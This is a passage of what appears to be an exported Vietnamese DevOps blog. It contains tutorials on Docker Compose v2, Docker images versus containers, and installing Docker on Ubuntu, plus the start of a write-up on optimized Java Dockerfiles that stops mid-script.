đặt và chuẩn bị Kiểm tra phiên bản Docker Compose 1 2 3 4 5 # Kiểm tra phiên bản hiện tại docker compose version # Output mong muốn (v2.x.x) Docker Compose version v2.24.5 Cấu trúc project cơ bản 1 2 3 4 5 6 7 8 my-app/ ├── docker-compose.yml ├── .env ├── app/ │ ├── Dockerfile │ └── src/ └── nginx/ └── nginx.conf II. Cú pháp Docker Compose v2 File docker-compose.yml cơ bản 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 version: \u0026#34;3.8\u0026#34; services: web: build: . ports: - \u0026#34;3000:3000\u0026#34; environment: - NODE_ENV=development volumes: - .:/app - /app/node_modules depends_on: - db db: image: postgres:15 environment: POSTGRES_DB: myapp POSTGRES_USER: user POSTGRES_PASSWORD: password volumes: - postgres_data:/var/lib/postgresql/data ports: - \u0026#34;5432:5432\u0026#34; volumes: postgres_data: Sử dụng file .env 1 2 3 4 5 6 7 # .env file NODE_ENV=development DB_HOST=db DB_PORT=5432 DB_NAME=myapp DB_USER=user DB_PASSWORD=password 1 2 3 4 5 6 7 # docker-compose.yml services: web: environment: - NODE_ENV=${NODE_ENV} - DB_HOST=${DB_HOST} - DB_PORT=${DB_PORT} III. Best Practices cho Docker Compose v2 Quản lý Networks 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 version: \u0026#34;3.8\u0026#34; services: frontend: build: ./frontend networks: - frontend-network backend: build: ./backend networks: - frontend-network - backend-network database: image: postgres:15 networks: - backend-network networks: frontend-network: driver: bridge backend-network: driver: bridge Health Checks 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 services: web: build: . healthcheck: test: [\u0026#34;CMD\u0026#34;, \u0026#34;curl\u0026#34;, \u0026#34;-f\u0026#34;, \u0026#34;http://localhost:3000/health\u0026#34;] interval: 30s timeout: 10s retries: 3 start_period: 40s db: image: postgres:15 healthcheck: test: [\u0026#34;CMD-SHELL\u0026#34;, \u0026#34;pg_isready -U ${POSTGRES_USER}\u0026#34;] interval: 10s timeout: 5s retries: 5 Resource Limits 1 2 3 4 5 6 7 8 9 10 11 services: web: build: . deploy: resources: limits: cpus: \u0026#34;0.5\u0026#34; memory: 512M reservations: cpus: \u0026#34;0.25\u0026#34; memory: 256M IV. Các lệnh Docker Compose v2 thường dùng Lệnh cơ bản 1 2 3 4 5 6 7 8 9 10 11 12 13 14 # Khởi chạy services (detached mode) docker compose up -d # Xem logs docker compose logs -f # Dừng services docker compose down # Rebuild và restart docker compose up --build -d # Xem trạng thái services docker compose ps Lệnh nâng cao 1 2 3 4 5 6 7 8 9 10 11 # Chạy lệnh trong container docker compose exec web bash # Scale service docker compose up --scale web=3 -d # Xem resource usage docker compose top # Validate compose file docker compose config V. Ví dụ thực tế: Web App với Database Node.js + PostgreSQL + Redis 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 version: \u0026#34;3.8\u0026#34; services: app: build: context: . dockerfile: Dockerfile ports: - \u0026#34;3000:3000\u0026#34; environment: - NODE_ENV=development - DATABASE_URL=postgresql://user:password@db:5432/myapp - REDIS_URL=redis://redis:6379 volumes: - .:/app - /app/node_modules depends_on: db: condition: service_healthy redis: condition: service_started restart: unless-stopped db: image: postgres:15-alpine environment: POSTGRES_DB: myapp POSTGRES_USER: user POSTGRES_PASSWORD: password volumes: - postgres_data:/var/lib/postgresql/data - ./init.sql:/docker-entrypoint-initdb.d/init.sql healthcheck: test: [\u0026#34;CMD-SHELL\u0026#34;, \u0026#34;pg_isready -U user\u0026#34;] interval: 10s timeout: 5s retries: 5 restart: unless-stopped redis: image: redis:7-alpine command: redis-server --appendonly yes volumes: - redis_data:/data restart: unless-stopped nginx: image: nginx:alpine ports: - \u0026#34;80:80\u0026#34; volumes: - ./nginx.conf:/etc/nginx/nginx.conf depends_on: - app restart: unless-stopped volumes: postgres_data: redis_data: File nginx.conf 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 events { worker_connections 1024; } http { upstream app { server app:3000; } server { listen 80; location / { proxy_pass http://app; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; } } } VI. Override và Multiple Environments docker-compose.override.yml 1 2 3 4 5 6 7 8 9 # docker-compose.override.yml (tự động load) version: \u0026#34;3.8\u0026#34; services: app: volumes: - .:/app environment: - DEBUG=true Environment-specific files 1 2 3 4 5 # Development docker compose -f docker-compose.yml -f docker-compose.dev.yml up -d # Production docker compose -f docker-compose.yml -f docker-compose.prod.yml up -d 1 2 3 4 5 6 7 8 9 10 11 12 # docker-compose.prod.yml version: \u0026#34;3.8\u0026#34; services: app: restart: always deploy: resources: limits: memory: 1G environment: - NODE_ENV=production Ghi chú triển khai Khi áp dụng vào dự án của bạn, hãy lưu ý các điểm quan trọng: Luôn sử dụng .env file cho sensitive data Implement health checks cho critical services Sử dụng named volumes cho persistent data Cấu hình restart policies phù hợp Best practices: Tách biệt networks cho security Sử dụng specific image tags thay vì latest Implement proper logging strategy Troubleshooting: Sử dụng docker compose logs để debug Kiểm tra docker compose config trước khi deploy Monitor resource usage với docker compose top Lời kết Docker Compose v2 là công cụ mạnh mẽ giúp bạn quản lý multi-container applications một cách dễ dàng. Với các best practices trên, bạn có thể xây dựng và triển khai ứng dụng một cách chuyên nghiệp và hiệu quả!\nHãy thử nghiệm với các ví dụ trên và dần dần áp dụng vào dự án thực tế của bạn.\n","date":"04/02/2026","image":"https://tech.nguuyen.io.vn/images/docker/docker-compose-v2.webp","permalink":"/vi/posts/docker/docker-compose-v2-best-practices/","summary":"Hướng dẫn Docker Compose v2 từ cơ bản với các best practices và ví dụ thực tế cho người mới bắt đầu.","tags":["docker","docker-compose","containerization","devops","beginner"],"title":"Docker Compose cho người mới (v2) — Thực hành"},{"categories":["Docker"],"content":"Docker Image và Container - Hai khái niệm thiết yếu Khi bắt đầu với Docker, hai khái niệm quan trọng nhất bạn cần hiểu là Image và Container. Nhiều người mới thường nhầm lẫn giữa chúng, nhưng thực chất chúng đóng vai trò khác nhau trong hệ sinh thái Docker. Image giống như kho chứa recipe (làm công thức), còn Container là thực tế thực thi (món ăn được chuẩn bị).\nTrong bài viết này, tôi sẽ giải thích chi tiết sự khác biệt giữa Image và Container, cách chúng hoạt động cùng nhau, và cung cấp ví dụ thực tế để bạn dễ hiểu hơn.\nI. Docker Image là gì? Docker Image là một template (khuôn mẫu) được sử dụng để tạo ra Container. Nó chứa tất cả mọi thứ cần thiết để chạy một ứng dụng:\nOperating system (Hệ điều hành) — thường là Linux minimal Runtime environment (Môi trường chạy) — Node.js, Python, Java, v.v. Code ứng dụng Dependencies (Các thư viện phụ thuộc) Configuration files (Files cấu hình) Environment variables (Biến môi trường) Đặc điểm chính của Docker Image Read-only: Image là chỉ đọc, không thể thay đổi sau khi đã tạo Layered structure: Image được xây dựng từ các lớp (layers), mỗi layer đại diện cho một lệnh trong Dockerfile Reusable: Có thể sử dụng cùng một image để tạo ra nhiều container Version-controlled: Mỗi image có tag (vd: 1.0, latest, alpine) để quản lý phiên bản Ví dụ về cấu trúc Image:\nLayer Nội dung Layer 1 Base OS (Alpine Linux) Layer 2 System packages (curl, wget) Layer 3 Node.js runtime (18.x) Layer 4 Application code Layer 5 Environment variables Các lệnh phổ biến với Image 1 2 3 4 5 6 7 8 9 10 11 12 13 14 # Pull một image từ Docker Hub docker pull node:18-alpine # Liệt kê các images đã tải về docker images # Xóa một image không sử dụng docker image rm node:18-alpine # Xóa tất cả unused images docker image prune -a # Build image từ Dockerfile docker build -t myapp:1.0 . II. Docker Container là gì? Docker Container là một thực thể đang chạy (running instance) được tạo ra từ Docker Image. Container có:\nMột bộ file hệ thống riêng (filesystem) Không gian mạng riêng (network isolation) Process riêng, hoạt động độc lập Các biến môi trường riêng Đặc điểm chính của Docker Container Read-only base + Read-write layer: Container có read-write layer cho phép thay đổi dữ liệu Isolated: Container cô lập với host và các container khác Stateful: Container có thể ở các trạng thái: running, stopped, paused, exited Ephemeral: Container có thể tạo và xóa nhanh chóng (\u0026lt; 1 giây) Ví dụ về Container:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 # Tạo và chạy container từ image docker run -d --name myapp node:18-alpine node server.js # Liệt kê các containers đang chạy docker ps # Liệt kê tất cả containers (kể cả đã dừng) docker ps -a # Dừng container docker stop myapp # Khởi động lại container docker start myapp # Xóa container docker rm myapp # Xem logs của container docker logs myapp So sánh Container với Virtual Machine Tính chất Docker Container Virtual Machine Hệ điều hành Chia sẻ kernel với host Có OS riêng đầy đủ Thời gian khởi động ~ 1-2 giây ~ 1-2 phút Dung lượng MB (10-100 MB) GB (1-10 GB) Hiệu năng Gần như native Cần virtualization overhead Số lượng tối đa Hàng trăm host Tẽn vài chục host Docker Container Architecture III. So sánh chi tiết: Image vs Container Để dễ hình dung, hãy xem bảng so sánh dưới đây:\nBảng so sánh đầy đủ Khía cạnh Image Container Công thức Kho chứa recipe (công thức) Món ăn được thực hiện Trạng thái Static (tĩnh, read-only) Dynamic (động, read-write) Thay đổi Không thay đổi sau khi tạo Có thể thay đổi khi chạy Số lượng Có 1 image, tạo N container Nhiều container từ cùng 1 image Thời gian tạo Chậm (build lần đầu ~5-10 phút) Nhanh (\u0026lt; 1 giây) Lưu trữ Lưu trong Docker cache Lưu thời gian chạy hoặc volume Portability Dễ dàng chia sẻ (push/pull) Chỉ chạy trên môi trường đã install Docker Version Có tag quản lý (1.0, 2.0, latest) Không có version riêng Network Không Có network riêng Storage Lưu trữ tại layers Có read-write layer trên cùng image Quan hệ giữa Image và Container 1 2 3 4 5 6 7 8 9 Docker Image (Template) ↓ docker run ↓ Docker Container (Running Instance) ↓ docker commit ↓ Docker Image mới (updated) Lưu ý:\nImage giống như class trong OOP (Object Oriented Programming) Container giống như object (instance của class) Dùng docker run để tạo container từ image Dùng docker commit để save container thành image mới IV. Ví dụ thực tế từ đầu đến cuối Để hiểu rõ hơn, hãy cùng làm một ví dụ chi tiết:\nTạo Dockerfile (để build image) 1 2 3 4 5 6 7 8 9 10 11 # Dockerfile FROM node:18-alpine WORKDIR /app COPY package*.json ./ RUN npm install COPY . . CMD [\u0026#34;node\u0026#34;, \u0026#34;server.js\u0026#34;] Build image từ Dockerfile 1 2 3 4 5 6 7 8 # Build image với tên myapp và tag 1.0 docker build -t myapp:1.0 . # Xem image đã tạo docker images # Output: # REPOSITORY TAG IMAGE ID CREATED SIZE # myapp 1.0 abc123def456 2 minutes ago 150MB Tạo và chạy container từ image 1 2 3 4 5 6 7 8 9 10 11 12 13 14 # Chạy container từ image myapp:1.0 docker run -d \\ --name myapp-container \\ -p 3000:3000 \\ myapp:1.0 # Xem container đang chạy docker ps # Output: # CONTAINER ID IMAGE COMMAND STATUS PORTS # xyz789ghi012 myapp:1.0 \u0026#34;node server.js\u0026#34; Up 2 minutes 0.0.0.0:3000-\u0026gt;3000/tcp # Xem logs docker logs myapp-container Tương tác với container 1 2 3 4 5 6 # Truy cập nội bộ container docker exec -it myapp-container sh # Trong container — bạn có thể: ls -la /app curl http://localhost:3000 Xóa container và image 1 2 3 4 5 6 7 8 # Dừng container docker stop myapp-container # Xóa container docker rm myapp-container # Xóa image docker rmi myapp:1.0 V. Best practices với Image và Container Quản lý Image Sử dụng cụ thể hơn (ex: node:18.12-alpine thay vì node:latest) Giảm kích thước bằng base image nhỏ (alpine, distroless) Tận dụng cache layer bằng cách xếp lệnh theo thứ tự Sử dụng .dockerignore để loại bỏ file không cần thiết Xóa image unused thường xuyên với docker image prune 1 2 3 4 # Ví dụ: Sử dụng image cụ thể FROM node:18.12.1-alpine # thay vì FROM node:latest Quản lý Container Đặt tên container rõ ràng (--name app-container) Sử dụng -d (detached mode) để chạy container background Thường xuyên quay lại logs khi debug (docker logs -f) Sử dụng volumes nếu cần persistence dữ liệu Giới hạn resource với --cpus, --memory 1 2 3 4 5 6 7 # Run container với giới hạn resource docker run -d \\ --name app \\ --cpus=\u0026#34;1.5\u0026#34; \\ --memory=\u0026#34;512m\u0026#34; \\ -p 8080:80 \\ myapp:1.0 Troubleshooting phổ biến Container không thể tạo từ image Lỗi:\n1 Error: Cannot start container from image Nguyên nhân:\nImage chưa được build hoặc pull về Image bị corrupt Port đã được sử dụng bởi container khác Giải pháp:\n1 2 3 4 5 6 7 8 # Kiểm tra image đã tồn tại chưa docker images | grep myapp # Pull về lại nếu chưa có docker pull myapp:1.0 # Build lại image docker build -t myapp:1.0 . Container không lưu dữ liệu khi dừng Nguyên nhân: Container là ephemeral, dữ liệu trong container sẽ mất khi nó dừng hoặc xóa.\nGiải pháp: Sử dụng Docker Volumes\n1 2 3 4 5 6 7 8 # Tạo volume docker volume create myapp-data # Gắn volume vào container docker run -d \\ --name app \\ -v myapp-data:/app/data \\ myapp:1.0 Container không truy cập được từ bên ngoài Lỗi: Không thể truy cập http://localhost:3000 khi run container\nGiải pháp:\n1 2 3 4 5 6 7 8 9 10 # Đảm bảo được map port từ container → host docker run -d \\ --name app \\ -p 3000:3000 \\ myapp:1.0 # Nếu là multi-container, sử dụng docker network docker network create mynet docker run -d --network mynet --name app1 myapp:1.0 docker run -d --network mynet --name app2 myapp:1.0 Ghi chú triển khai Khi áp dụng vào dự án của bạn, hãy lưu ý các điểm quan trọng:\nĐừng thay đổi trực tiếp container — Hãy build lại image với Dockerfile Sử dụng docker-compose.yaml để quản lý nhiều container và dependencies Sử dụng CI/CD để tự động build và push image lên Docker Hub/Registry Giám sát ресурс với docker stats hoặc Prometheus + Grafana Backup dữ liệu thường xuyên từ volumes Best practices:\nLuôn đặt tên image và container rõ ràng Sử dụng tags cụ thể cho môi trường khác nhau (dev, staging, prod) Viết .dockerignore để giảm kích thước image và tăng tốc build Sử dụng multi-stage build để tạo image nhỏ nhất Troubleshooting:\nKhi container bị crash, xem logs: docker logs \u0026lt;container-name\u0026gt; Khi container không thể pull image, kiểm tra network: ping registry-1.docker.io Khi container không có quyền truy cập file, gắn volume đúng permission Lời kết Tóm tắt lại:\nDocker Image = Kho chứa recipe (template read-only) — Chứa tất cả thiết lập để chạy ứng dụng Docker Container = Món ăn được thực hiện (running instance) — Container được tạo từ image, read-write layer Image là tĩnh, Container là động Dùng docker run để tạo container từ image Dùng docker commit để update container thành image mới Bây giờ bạn đã hiểu rõ sự khác biệt giữa Image và Container. Bước tiếp theo: học cách sử dụng Dockerfile để build image, và Docker Compose để quản lý nhiều container.\nNếu bạn thấy bài viết này hữu ích, hãy nhớ star repo hoặc chia sẻ với bạn bè nhé!\nTài liệu tham khảo Docker Official Documentation Best practices for writing Dockerfiles ","date":"25/01/2026","image":"https://tech.nguuyen.io.vn/images/docker/docker-basics-image-vs-container.webp","permalink":"/vi/posts/docker/docker-basics-image-vs-container/","summary":"Hiểu rõ sự khác biệt giữa Docker Image và Container - khái niệm cốt lõi của Docker. Hướng dẫn chi tiết với ví dụ thực tế cho người mới bắt đầu.","tags":["docker","container","image","beginner","docker-basics"],"title":"Docker cơ bản: Image vs Container"},{"categories":["Installation Guides"],"content":"Giới thiệu về Docker Docker là một nền tảng phổ biến trong DevOps để triển khai ứng dụng bằng container. Container cho phép bạn đóng gói ứng dụng cùng với tất cả các dependencies và cấu hình cần thiết, giúp ứng dụng chạy nhất quán trên mọi môi trường từ development đến production.\nLợi ích của Docker:\nTính nhất quán: Ứng dụng chạy giống nhau trên mọi môi trường Tốc độ: Khởi động container nhanh hơn so với virtual machine Đóng gói: Dễ dàng chia sẻ và triển khai ứng dụng Scalability: Dễ dàng mở rộng và quản lý nhiều container Bài viết này hướng dẫn bạn cách cài đặt Docker trên Ubuntu 20.04 và 22.04 một cách đơn giản và hiệu quả, sử dụng repository chính thức của Docker để đảm bảo bạn luôn có phiên bản mới nhất và ổn định.\nYêu cầu trước khi cài đặt Trước khi bắt đầu, hãy đảm bảo bạn có:\nMáy chủ Ubuntu 20.04 hoặc 22.04 đã được cài đặt Quyền sudo để thực thi các lệnh quản trị Kết nối internet để tải các gói cài đặt Thời gian: Quá trình cài đặt mất khoảng 5-10 phút Cập nhật hệ thống Trước khi cài đặt Docker, hãy đảm bảo hệ thống được cập nhật đầy đủ. Điều này giúp đảm bảo bạn có các bản vá bảo mật mới nhất và các gói phụ thuộc cần thiết.\n1 sudo apt update \u0026amp;\u0026amp; sudo apt upgrade -y Lưu ý:\nLệnh apt update cập nhật danh sách các gói có sẵn từ repository Lệnh apt upgrade -y tự động cài đặt các bản cập nhật mà không cần xác nhận Quá trình này có thể mất vài phút tùy thuộc vào số lượng gói cần cập nhật Cài đặt Docker Cài đặt các gói phụ thuộc Các gói này cần thiết để Docker có thể tải và xác thực các gói từ repository chính thức:\napt-transport-https: Cho phép APT sử dụng giao thức HTTPS ca-certificates: Cung cấp chứng chỉ SSL/TLS để xác thực kết nối bảo mật curl: Công cụ để tải xuống các file từ internet software-properties-common: Cung cấp các tiện ích để quản lý repository 1 sudo apt install -y apt-transport-https ca-certificates curl software-properties-common Thêm repository Docker chính thức Để cài đặt Docker từ nguồn chính thức, chúng ta cần thêm GPG key và repository của Docker vào hệ thống. Điều này đảm bảo bạn nhận được các bản cập nhật chính thức và bảo mật từ Docker.\nBước 1: Thêm GPG key của Docker\nGPG key được sử dụng để xác thực tính toàn vẹn của các gói Docker:\n1 curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg Bước 2: Thêm Docker repository\nThêm repository Docker vào danh sách nguồn của APT. Lệnh này tự động phát hiện phiên bản Ubuntu của bạn ($(lsb_release -cs)) và thêm repository phù hợp:\n1 echo \u0026#34;deb [arch=amd64 signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable\u0026#34; | sudo tee /etc/apt/sources.list.d/docker.list \u0026gt; /dev/null Giải thích:\narch=amd64: Chỉ định kiến trúc 64-bit signed-by: Chỉ định GPG key để xác thực $(lsb_release -cs): Tự động lấy tên code name của Ubuntu (ví dụ: jammy cho Ubuntu 22.04) stable: Sử dụng channel ổn định (có thể dùng test hoặc nightly cho các phiên bản thử nghiệm) Cài đặt Docker Engine Sau khi đã thêm repository, cập nhật danh sách gói và cài đặt Docker Engine:\n1 2 sudo apt update sudo apt install -y docker-ce docker-ce-cli containerd.io Các gói được cài đặt:\ndocker-ce: Docker Community Edition - phiên bản mã nguồn mở của Docker docker-ce-cli: Docker Command Line Interface - công cụ dòng lệnh để tương tác với Docker containerd.io: Container runtime - công cụ quản lý vòng đời container ở mức thấp Thời gian cài đặt: Quá trình này thường mất 2-5 phút tùy thuộc vào tốc độ internet của bạn.\nKiểm tra Docker Sau khi cài đặt, hãy kiểm tra xem Docker đã được khởi động và hoạt động chưa:\n1 sudo systemctl status docker Kết quả mong đợi: Bạn sẽ thấy trạng thái active (running) nếu Docker đã khởi động thành công.\nNếu Docker chưa chạy, bạn có thể khởi động và kích hoạt Docker để tự động khởi động khi hệ thống boot:\n1 2 sudo systemctl start docker sudo systemctl enable docker Giải thích các lệnh:\nsystemctl start docker: Khởi động dịch vụ Docker ngay lập tức systemctl enable docker: Cấu hình Docker tự động khởi động khi hệ thống khởi động lại Chạy thử Docker Để xác nhận Docker đã hoạt động đúng, chạy container mẫu hello-world:\n1 sudo docker run hello-world Kết quả mong đợi: Nếu thấy thông báo \u0026ldquo;Hello from Docker!\u0026rdquo; cùng với các thông tin về Docker, nghĩa là bạn đã cài đặt thành công!\nContainer hello-world làm gì?\nContainer này tải xuống image hello-world từ Docker Hub (nếu chưa có) Chạy container và hiển thị thông báo chào mừng Tự động dừng sau khi hoàn thành Cấu hình quyền cho user Mặc định, Docker yêu cầu quyền root để chạy các lệnh. Để chạy Docker không cần sudo, bạn cần thêm user hiện tại vào nhóm docker:\n1 2 sudo usermod -aG docker $USER newgrp docker Giải thích:\nusermod -aG docker $USER: Thêm user hiện tại vào nhóm docker (nhóm này có quyền truy cập Docker daemon) newgrp docker: Áp dụng thay đổi nhóm ngay lập tức mà không cần đăng xuất Lưu ý quan trọng:\nSau khi thực hiện lệnh này, bạn có thể cần đăng xuất và đăng nhập lại để thay đổi có hiệu lực Hoặc bạn có thể mở terminal mới để áp dụng thay đổi Việc thêm user vào nhóm docker cho phép user đó có quyền tương đương root trên Docker daemon, vì vậy chỉ thêm những user đáng tin cậy Kiểm tra quyền mới:\nSau khi cấu hình, thử chạy Docker không cần sudo:\n1 docker run hello-world Nếu lệnh chạy thành công mà không cần sudo, bạn đã cấu hình đúng!\nGỡ cài đặt Docker (nếu cần) Nếu bạn muốn gỡ cài đặt Docker hoàn toàn khỏi hệ thống, thực hiện các bước sau:\nBước 1: Gỡ cài đặt các gói Docker\n1 sudo apt remove -y docker-ce docker-ce-cli containerd.io Bước 2: Xóa dữ liệu Docker\nDữ liệu Docker (images, containers, volumes, networks) được lưu trong /var/lib/docker. Để xóa hoàn toàn:\n1 sudo rm -rf /var/lib/docker Cảnh báo: Lệnh này sẽ xóa TẤT CẢ dữ liệu Docker bao gồm:\nTất cả images đã tải về Tất cả containers (đang chạy và đã dừng) Tất cả volumes và networks Tất cả dữ liệu trong containers Bước 3: Xóa cấu hình Docker (tùy chọn)\nNếu muốn xóa hoàn toàn mọi dấu vết của Docker:\n1 2 sudo rm -rf /var/lib/containerd sudo rm -rf /etc/docker Các lệnh Docker cơ bản Sau khi cài đặt Docker, đây là một số lệnh cơ bản bạn nên biết:\nLệnh Mô tả docker --version Kiểm tra phiên bản Docker docker ps Liệt kê các container đang chạy docker ps -a Liệt kê tất cả containers (bao gồm đã dừng) docker images Liệt kê tất cả images docker pull \u0026lt;image\u0026gt; Tải image từ Docker Hub docker run \u0026lt;image\u0026gt; Chạy container từ image docker stop \u0026lt;container\u0026gt; Dừng container đang chạy docker rm \u0026lt;container\u0026gt; Xóa container docker rmi \u0026lt;image\u0026gt; Xóa image Troubleshooting Vấn đề: Docker daemon không khởi động Nguyên nhân: Có thể do xung đột với các dịch vụ khác hoặc cấu hình sai.\nGiải pháp:\n1 2 3 4 5 # Kiểm tra log của Docker sudo journalctl -u docker # Khởi động lại Docker sudo systemctl restart docker Vấn đề: Permission denied khi chạy Docker Nguyên nhân: User chưa được thêm vào nhóm docker.\nGiải pháp:\n1 2 3 4 5 # Thêm user vào nhóm docker sudo usermod -aG docker $USER # Đăng xuất và đăng nhập lại, hoặc chạy: newgrp docker Vấn đề: Không thể kết nối đến Docker daemon Nguyên nhân: Docker daemon chưa được khởi động.\nGiải pháp:\n1 2 3 4 5 # Kiểm tra trạng thái sudo systemctl status docker # Khởi động Docker sudo systemctl start docker Lời kết Vậy là chúng ta đã hoàn tất cài đặt Docker trên Ubuntu! Giờ đây, bạn có thể bắt đầu:\nTạo và chạy containers cho các ứng dụng của mình Sử dụng Docker images có sẵn từ Docker Hub Triển khai ứng dụng một cách nhất quán và dễ dàng Quản lý môi trường development và production hiệu quả hơn Docker là một công cụ mạnh mẽ trong thế giới DevOps. Hãy tiếp tục khám phá các tính năng của Docker như Docker Compose, Docker Swarm, và tích hợp với các công cụ CI/CD để tối ưu hóa quy trình phát triển của bạn!\nTài liệu tham khảo:\nTài liệu chính thức của Docker Docker Hub - Kho lưu trữ images lớn nhất Best practices cho Docker Chúc bạn thành công với Docker!\n","date":"30/11/2025","image":"https://tech.nguuyen.io.vn/images/installation-guides/docker-installation-ubuntu.webp","permalink":"/vi/posts/installation-guides/setup-docker-on-ubuntu/","summary":"Hướng dẫn chi tiết cách cài đặt Docker trên Ubuntu 20.04 và 22.04 một cách đơn giản và hiệu quả, bao gồm cấu hình quyền user và kiểm tra hoạt động.","tags":["docker","ubuntu","container","devops"],"title":"Cách cài đặt Docker trên Ubuntu"},{"categories":["Docker Optimization"],"content":"Dockerfile Contest 2025 – Java tối ưu extreme Dockerfile Contest 2025 thúc đẩy cộng đồng DevOps Việt Nam đánh giá lại cách viết Dockerfile để đạt bảo mật, tối ưu, tường minh. Bài viết này tổng hợp riêng cho hạng mục Java Spring Boot, nơi các tác giả tập trung tối ưu JRE, giảm kích thước image và chuẩn hóa quy trình build.\nI. Hạng mục JAVA (Spring Boot Service) Hạng mục Java tập trung vào các ý tưởng:\nTối ưu JRE: dùng jlink và jdeps để tạo custom JRE chỉ chứa module cần thiết. Tối ưu security \u0026amp; dependency: tự động cập nhật dependency an toàn, giảm CVE. Multi-stage build: tách rõ stage build và runtime, dùng distroless hoặc base image tối ưu. Healthcheck rõ ràng: dùng wget hoặc Java native healthcheck để giám sát container. Dockerfile TOP 1 (Java) – Spring Boot Template + Distroless Kỹ thuật Giải thích theo tác giả Nguồn tham khảo Custom JRE bằng jlink Dùng jdeps phân tích fat JAR để lấy danh sách module, sau đó jlink tạo JRE chỉ chứa module cần, giảm đáng kể kích thước runtime. Multi-stage build rõ ràng Stage build dùng eclipse-temurin:21-jdk để build Gradle; stage runtime dùng gcr.io/distroless/base-debian12 chỉ chạy JRE. Phân tách Healthcheck Stage Tạo stage healthcheck dùng BusyBox, copy wget vào runtime để healthcheck mà không phải cài thêm full curl/wget từ package manager. Distroless Runtime Dùng distroless base để giảm attack surface (không shell, không package manager), image gọn và an toàn hơn. Pin nguồn \u0026amp; license Thêm LABEL org.opencontainers.image.source, version, licenses để dễ truy vết source code và tuân thủ license. Dockerfile TOP 1 (JAVA)\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 # Build stage FROM eclipse-temurin:21-jdk AS build WORKDIR /app # Copy gradle wrapper and properties first for better caching COPY gradlew gradlew.bat build.gradle ./ COPY gradle/ gradle/ # Download Gradle distribution (cached) RUN --mount=type=cache,target=/root/.gradle ./gradlew --version # Copy source code COPY src/ src/ # Build the application RUN --mount=type=cache,target=/root/.gradle ./gradlew --no-daemon clean bootJar \\ -Dspring-framework.version=6.2.11 \\ -Dtomcat.version=10.1.47 # Extract the application dependencies RUN jar xf build/libs/spring-boot-template.jar # Analyze the dependencies contained into the fat jar RUN jdeps --ignore-missing-deps -q \\ --recursive \\ --multi-release 21 \\ --print-module-deps \\ --class-path \u0026#39;BOOT-INF/lib/*\u0026#39; \\ build/libs/spring-boot-template.jar \u0026gt; deps.info # Create the custom JRE RUN jlink \\ --verbose \\ --add-modules $(cat deps.info) \\ --compress zip-9 \\ --no-header-files \\ --no-man-pages \\ --output /custom_jre # Healthcheck stage FROM busybox:1.36.0-musl AS healthcheck # Runtime stage FROM gcr.io/distroless/base-debian12 ENV JAVA_HOME=/opt/java/openjdk ENV PATH=\u0026#34;$JAVA_HOME/bin:$PATH\u0026#34; COPY --from=build /custom_jre $JAVA_HOME # Copy wget for healthcheck COPY --from=healthcheck /bin/wget /usr/bin/wget WORKDIR /app # Copy application insights config COPY lib/applicationinsights.json ./ # Copy the built JAR COPY --from=build /app/build/libs/spring-boot-template.jar /app.jar # Add labels LABEL org.opencontainers.image.source=\u0026#34;https://github.com/hmcts/spring-boot-template\u0026#34; \\ org.opencontainers.image.version=\u0026#34;0.0.1\u0026#34; \\ org.opencontainers.image.licenses=\u0026#34;MIT\u0026#34; EXPOSE 8080 HEALTHCHECK --interval=30s --timeout=3s --start-period=10s --retries=3 \\ CMD [\u0026#34;/usr/bin/wget\u0026#34;, \u0026#34;--quiet\u0026#34;, \u0026#34;--output-document=/dev/null\u0026#34;, \u0026#34;http://localhost:8080/health\u0026#34;] CMD [\u0026#34;java\u0026#34;, \u0026#34;-jar\u0026#34;, \u0026#34;/app.jar\u0026#34;] Dockerfile TOP 2 (Java) – Gradle Auto Dependency Update + Custom Healthcheck Kỹ thuật Giải thích theo tác giả Nguồn tham khảo Gradle Dependency Updates Dùng plugin dependencyUpdates để sinh report, sau đó script shell parse report và tự động update version plugin/ext/dependency trong build.gradle. Force Dependency Upgrade Biến DEPENDENCIES_FORCE_UPDATE cho phép chỉ định group:name:version để ép cập nhật những dependency quan trọng, thường là những lib dính CVE. Native Java Healthcheck Viết class HealthCheck.java dùng HttpURLConnection gọi /health, giúp healthcheck không phụ thuộc curl/wget. Distroless Base Java Runtime dùng hmctspublic.azurecr.io/base/java:21-distroless, image Java 21 tối ưu sẵn cho production. Cache Gradle Mount cache /root/.gradle để tăng tốc ./gradlew trong stage build. Dockerfile TOP 2 (JAVA)\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 # Stage 1 — Build application using Gradle FROM gradle:8.14.3-jdk21-alpine AS builder WORKDIR /app # Caching wrapper and build configuration before build COPY gradlew ./ COPY gradle gradle COPY build.gradle build.gradle # Caching gradle/download RUN ./gradlew --no-daemon help # Copy src code COPY src/main src/main # Check dependency need to update RUN ./gradlew --no-daemon dependencyUpdates -Drevision=release # Auto update for auto vulnerability fixing RUN REPORT_FILE=\u0026#34;build/dependencyUpdates/report.txt\u0026#34; \u0026amp;\u0026amp; \\ echo \u0026#34;=== Parsing $REPORT_FILE 